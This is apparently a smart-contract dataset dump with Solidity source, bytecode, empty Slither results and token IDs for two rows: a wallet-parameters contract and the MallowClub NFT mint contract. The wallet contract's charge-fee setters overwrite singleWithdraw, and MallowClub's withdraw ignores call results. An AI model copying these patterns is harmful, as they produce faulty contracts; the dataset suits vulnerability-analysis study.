Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,400
0x96b709bbc1454716857605db9c942544668af79b
pragma solidity ^0.4.23; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Autonomy is Ownable { address public congress; bool init = false; modifier onlyCongress() { require(msg.sender == congress); _; } /** * @dev initialize a Congress contract address for this token * * @param _congress address the congress contract address */ function initialCongress(address _congress) onlyOwner public { require(!init); require(_congress != address(0)); congress = _congress; init = true; } /** * @dev set a Congress contract address for this token * must change this address by the last congress contract * * @param _congress address the congress contract address */ function changeCongress(address _congress) onlyCongress public { require(_congress != address(0)); congress = _congress; } } contract Destructible is Ownable { function Destructible() public payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } contract DRCWalletMgrParams is Claimable, Autonomy, Destructible { uint256 public singleWithdraw; // Max value of single withdraw uint256 public dayWithdraw; // Max value of one day of withdraw uint256 public monthWithdraw; // Max value of one month of withdraw uint256 public dayWithdrawCount; // Max number of withdraw counting uint256 public chargeFee; // the charge fee for withdraw address public chargeFeePool; // the address that will get the returned charge fees. function initialSingleWithdraw(uint256 _value) onlyOwner public { require(!init); singleWithdraw = _value; } function initialDayWithdraw(uint256 _value) onlyOwner public { require(!init); dayWithdraw = _value; } function initialDayWithdrawCount(uint256 _count) onlyOwner public { require(!init); dayWithdrawCount = _count; } function initialMonthWithdraw(uint256 _value) onlyOwner public { require(!init); monthWithdraw = _value; } function initialChargeFee(uint256 _value) onlyOwner public { require(!init); singleWithdraw = _value; } function initialChargeFeePool(address _pool) onlyOwner public { require(!init); chargeFeePool = _pool; } function setSingleWithdraw(uint256 _value) onlyCongress public { singleWithdraw = _value; } function setDayWithdraw(uint256 _value) onlyCongress public { dayWithdraw = _value; } function setDayWithdrawCount(uint256 _count) onlyCongress public { dayWithdrawCount = _count; } function setMonthWithdraw(uint256 _value) onlyCongress public { monthWithdraw = _value; } function setChargeFee(uint256 _value) onlyCongress public { singleWithdraw = _value; } function setChargeFeePool(address _pool) onlyOwner public { chargeFeePool = _pool; } }
0x
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2497, 19841, 2683, 10322, 2278, 16932, 27009, 2581, 16048, 27531, 2581, 16086, 2629, 18939, 2683, 2278, 2683, 20958, 27009, 21472, 2575, 2620, 10354, 2581, 2683, 2497, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 2219, 3085, 9570, 2953, 4520, 1996, 2434, 1036, 3954, 1036, 1997, 1996, 3206, 2000, 1996, 4604, 2121, 1008, 4070, 1012, 1008, 1013, 3853, 2219, 3085, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 11618, 2065, 2170, 2011, 2151, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,401
0x96b7bA73f919362492EC9e3Ad1F73e64C0eF77e2
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC721A.sol"; contract MallowClub is Ownable, ERC721A { using MerkleProof for bytes32[]; uint256 public constant MAX_SUPPLY = 6500; uint256 public constant PUBLIC_MINT_LIMIT = 10; uint256 public constant PRESALE_MINT_LIMIT = 2; uint256 public constant MINT_PRICE = 0.025 ether; /// @dev Inactive = 0; Presale = 1; Public = 2 uint256 public saleFlag; bytes32 public merkleRoot; string public baseURI; bool public metadataLocked; mapping(address => uint256) private whitelistMints; constructor() ERC721A("Mallow Club", "MALLOW", PUBLIC_MINT_LIMIT, MAX_SUPPLY) {} modifier onlyUnlocked() { require(!metadataLocked, "METADATA_LOCKED"); _; } function verifyProof(bytes32[] calldata _proof) internal view returns (bool) { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); return _proof.verify(merkleRoot, leaf); } function lockMetadata() external onlyOwner { metadataLocked = true; } function setBaseURI(string calldata _base) external onlyOwner onlyUnlocked { baseURI = _base; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function setSaleState(uint256 _flag) external onlyOwner onlyUnlocked { saleFlag = _flag; } function setMerkleRoot(bytes32 _new) external onlyOwner { merkleRoot = _new; } function mint(uint256 _amount) external payable { require(totalSupply() + _amount <= MAX_SUPPLY, "MINT_EXCEEDS_TOTAL_SUPPLY"); require(saleFlag == 2, "MINTING_PAUSED"); require(_amount > 0 && _amount <= PUBLIC_MINT_LIMIT, "AMOUNT_TOO_HIGH"); require(MINT_PRICE * _amount <= msg.value, "VALUE_TOO_LOW"); require(tx.origin == msg.sender, "SENDER_IS_NOT_AN_EOA"); _safeMint(msg.sender, _amount); } function mintWhitelist(uint256 _amount, bytes32[] calldata _proof) external payable { require(totalSupply() + _amount <= MAX_SUPPLY, "MINT_EXCEEDS_TOTAL_SUPPLY"); require(saleFlag == 1, "MINTING_PAUSED"); require(verifyProof(_proof), "INVALID_MERKLE_PROOF"); require(whitelistMints[msg.sender] + _amount <= PRESALE_MINT_LIMIT, "MINT_EXCEEDS_LIMIT"); require(_amount > 0 && _amount <= PRESALE_MINT_LIMIT, "AMOUNT_TOO_HIGH"); require(MINT_PRICE * _amount <= msg.value, "VALUE_TOO_LOW"); whitelistMints[msg.sender] += _amount; _safeMint(msg.sender, _amount); } function mintOwner(uint256 _amount, address _to) external onlyOwner onlyUnlocked { require(totalSupply() + _amount <= MAX_SUPPLY, "MINT_EXCEEDS_TOTAL_SUPPLY"); _safeMint(_to, _amount); } /** @notice * ALLOCATIONS: * - Community Multisig: 20% (Signers: Bitquence, Pfpump, Mallow / 2 of 3 signatures) * - Owners: 53% * - Contract Dev: 12% * - Advisor: 7.5% * - Animator: 5% * - Web Dev: 5% * - Graphics: 2.5% */ function withdraw() external onlyOwner { uint256 balanceDividend = address(this).balance / 1000; (bool sDev,) = address(0x91b26FffFfB325e13F1eF592b0933696098044Af).call{value: balanceDividend * 120}(""); (bool sComm,) = address(0x672Ac43c28cE763Bea39bB8E195Db036C72209eE).call{value: balanceDividend * 200}(""); (bool sPfpump,) = address(0xF82E94445Fed2F74A272C97Da8b2EFa9003B7d13).call{value: balanceDividend * 240}(""); (bool sMallow,) = address(0x4cC3EB54b3ff22ffa1257453ca5d6b5d027fFffA).call{value: balanceDividend * 240}(""); (bool sAnimator,) = address(0x43B7751Ce391c80C255141fd50fc41288374D36d).call{value: balanceDividend * 50}(""); (bool sAdvisor,) = address(0x317D367663Edd9612Fbff00899F356F0E556380a).call{value: balanceDividend * 75}(""); (bool sWeb,) = address(0xDd9A6283d8fb41AFcdCF29BF2884C9d3B9245cC7).call{value: balanceDividend * 50}(""); (bool sGraphics,) = address(0x317b3a38C520228Ab3b9a6C70D5161530Af9DD40).call{value: balanceDividend * 25}(""); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes the number of issuable tokens (collection size) is capped and fits in a uint128. * * Does not support burning tokens to address(0). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 private currentIndex = 0; uint256 internal immutable collectionSize; uint256 internal immutable maxBatchSize; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) private _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev * `maxBatchSize` refers to how much a minter can mint at a time. * `collectionSize_` refers to how many tokens are in the collection. */ constructor( string memory name_, string memory symbol_, uint256 maxBatchSize_, uint256 collectionSize_ ) { require( collectionSize_ > 0, "ERC721A: collection must have a nonzero supply" ); require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero"); _name = name_; _symbol = symbol_; maxBatchSize = maxBatchSize_; collectionSize = collectionSize_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), "ERC721A: global index out of bounds"); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721A: balance query for the zero address"); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require( owner != address(0), "ERC721A: number minted query for the zero address" ); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), "ERC721A: owner query for nonexistent token"); uint256 lowestTokenToCheck; if (tokenId >= maxBatchSize) { lowestTokenToCheck = tokenId - maxBatchSize + 1; } for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert("ERC721A: unable to determine the owner of token"); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, "ERC721A: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721A: approve caller is not owner nor approved for all" ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721A: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721A: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - there must be `quantity` tokens remaining unminted in the total collection. * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > collectionSize - 1) { endIndex = collectionSize - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * 